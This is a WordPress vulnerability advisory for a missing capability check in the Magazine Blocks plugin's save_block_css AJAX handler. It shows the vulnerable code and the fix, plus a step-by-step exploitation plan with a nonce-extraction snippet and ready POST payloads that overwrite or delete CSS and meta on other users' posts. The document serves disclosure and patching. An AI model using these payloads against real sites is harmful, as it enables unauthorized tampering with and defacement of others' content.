Magazine Blocks <= 1.8.3 - Missing Authorization
Description
The Magazine Blocks plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.8.3. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.8.3What Changed in the Fix
Changes introduced in v1.8.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-40728 (Magazine Blocks) ## 1. Vulnerability Summary The **Magazine Blocks** plugin (versions <= 1.8.3) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function `MagazineBlocks\Ajax::save_block_css()` fails to perfor…
Show full research plan
Exploitation Research Plan: CVE-2026-40728 (Magazine Blocks)
1. Vulnerability Summary
The Magazine Blocks plugin (versions <= 1.8.3) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function MagazineBlocks\Ajax::save_block_css() fails to perform any capability checks (e.g., current_user_can()) or ownership validation before modifying post metadata and filesystem assets. While it implements a nonce check for CSRF protection, the nonce is available to any authenticated user with access to the WordPress dashboard (Contributor-level and above), allowing them to modify post meta for arbitrary posts.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
magazine_blocks_save_block_css - Vulnerable Parameter:
post_id(used to target arbitrary posts) andcss(payload). - Required Authentication: Authenticated (Contributor level or higher).
- Preconditions: The attacker must possess a valid nonce for the
_magazine_blocks_nonceaction.
3. Code Flow
- Hook Registration: In
includes/Ajax.php, theinit_hooks()function registers the AJAX action:add_action( 'wp_ajax_magazine_blocks_save_block_css', array( $this, 'save_block_css' ) ); - Entry Point: A request to
admin-ajax.phpwithaction=magazine_blocks_save_block_csstriggerssave_block_css(). - Nonce Verification: The function calls
check_ajax_referer( '_magazine_blocks_nonce', 'security', false );. - Processing:
- The code retrieves
post_idandcssfrom$_POST. - It calculates a filename:
$filename = "magazine-blocks-css-$post_id.css";.
- The code retrieves
- Unauthorized Action (Sink):
- If
has_blocksis true, it callsmagazine_blocks()->utils->create_files()and:update_post_meta( $post_id, '_magazine_blocks_active', 'yes' ); update_post_meta( $post_id, '_magazine_blocks_css', $css ); - If
has_blocksis false, it deletes the meta and the file viawp_delete_file().
- If
- Authorization Failure: At no point does the code verify if the current user has the
edit_postcapability for the provided$post_id.
4. Nonce Acquisition Strategy
The nonce _magazine_blocks_nonce is required for the security parameter. This nonce is typically localized for the Gutenberg editor environment.
- Shortcode Identification: The plugin uses various block types like
banner-posts,post-slider, etc. - Trigger Script Loading: Scripts for the block editor are enqueued when editing a post.
- Acquisition Steps:
- Use
wp post createto create a dummy post for the contributor. - Navigate the browser to the editor for that post:
/wp-admin/post.php?post=[DUMMY_ID]&action=edit. - The plugin likely localizes its settings in a global JS object. Based on the plugin slug and class names, common identifiers include
magazine_blocks_admin,magazine_blocks_data, ormagazine_blocks_params. - Command: Use
browser_evalto search for the nonce:// Likely localization keys based on common patterns: window.magazine_blocks_params?.nonce || window.mzb_admin_params?.nonce || window.magazine_blocks_data?.security - If the key is not obvious, search the page source for the string
_magazine_blocks_nonce.
- Use
5. Exploitation Strategy
Step 1: Target Identification
Identify a target post (e.g., Post ID 1) that the contributor does not own (e.g., an Admin-created post).
Step 2: Request Construction
Perform a POST request to admin-ajax.php to inject arbitrary CSS/Meta.
Request Details:
- Method: POST
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=magazine_blocks_save_block_css&security=[NONCE]&post_id=1&has_blocks=1&css=body{background-color:red !important;}
Step 3: Verify Persistence
The exploit is successful if the _magazine_blocks_css meta is updated on the target post.
6. Test Data Setup
- Admin Post: Ensure a post with ID 1 exists and is authored by an Administrator.
- Contributor User: Create a user with the
contributorrole. - Plugin Activation: Ensure "Magazine Blocks" is active.
7. Expected Results
- Success Response:
{"success":true} - Database Change: The
wp_postmetatable should now contain a record forpost_id=1withmeta_key='_magazine_blocks_css'andmeta_value='body{background-color:red !important;}'. - Filesystem Change: A file named
magazine-blocks-css-1.cssshould be created inwp-content/uploads/magazine-blocks/.
8. Verification Steps
After executing the HTTP request, verify using WP-CLI:
# Check if the post meta was updated
wp post meta get 1 _magazine_blocks_css
# Check if the block was marked as active
wp post meta get 1 _magazine_blocks_active
# Verify file creation
ls -l /var/www/html/wp-content/uploads/magazine-blocks/magazine-blocks-css-1.css
9. Alternative Approaches
If has_blocks=1 requires specific dependencies, test the Unauthorized Deletion path by sending has_blocks=0. This will delete the _magazine_blocks_css meta and the corresponding CSS file for Post ID 1, which can be used to disrupt the appearance of a site.
Alternative Payload (Deletion):
action=magazine_blocks_save_block_css&security=[NONCE]&post_id=1&has_blocks=0
Verify that wp post meta get 1 _magazine_blocks_css returns an empty result after this request.
Summary
The Magazine Blocks plugin (versions <= 1.8.3) is vulnerable to unauthorized post meta modification and file manipulation due to a missing capability check in the `save_block_css` AJAX function. Authenticated attackers with Contributor-level access or higher can exploit this to overwrite metadata and CSS files associated with any post ID, including those they do not have permission to edit.
Vulnerable Code
// includes/Ajax.php:59-79 public function save_block_css() { check_ajax_referer( '_magazine_blocks_nonce', 'security', false ); $css = isset( $_POST['css'] ) ? sanitize_text_field( wp_unslash( $_POST['css'] ) ) : ''; $post_id = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0; $has_blocks = isset( $_POST['has_blocks'] ) && wp_unslash( $_POST['has_blocks'] ); $filename = "magazine-blocks-css-$post_id.css"; $upload_dir_url = wp_upload_dir(); $dir = trailingslashit( $upload_dir_url['basedir'] ) . 'magazine-blocks/'; if ( $has_blocks ) { if ( ! magazine_blocks()->utils->create_files( $filename, $css ) ) { wp_send_json_error(); } update_post_meta( $post_id, '_magazine_blocks_active', 'yes' ); update_post_meta( $post_id, '_magazine_blocks_css', $css ); } else { delete_post_meta( $post_id, '_magazine_blocks_active' ); delete_post_meta( $post_id, '_magazine_blocks_css' ); file_exists( "$dir$filename" ) && wp_delete_file( "$dir$filename" ); }
Security Fix
@@ -62,6 +62,10 @@ $css = isset( $_POST['css'] ) ? sanitize_text_field( wp_unslash( $_POST['css'] ) ) : ''; $post_id = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0; + + if ( ! current_user_can( 'edit_post', $post_id ) ) { + wp_send_json_error(); + } + $has_blocks = isset( $_POST['has_blocks'] ) && wp_unslash( $_POST['has_blocks'] ); $filename = "magazine-blocks-css-$post_id.css";
Exploit Outline
The exploit targets the `magazine_blocks_save_block_css` AJAX action. An authenticated user (e.g., a Contributor) first retrieves the valid AJAX nonce `_magazine_blocks_nonce` from the WordPress dashboard or block editor environment. They then send a POST request to `/wp-admin/admin-ajax.php` containing the `action`, the `security` nonce, and a targeted `post_id` (regardless of ownership). By setting `has_blocks` to 1 and providing arbitrary content in the `css` parameter, the attacker forces the plugin to create a CSS file on the server and update the `_magazine_blocks_css` and `_magazine_blocks_active` post meta keys for the target post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.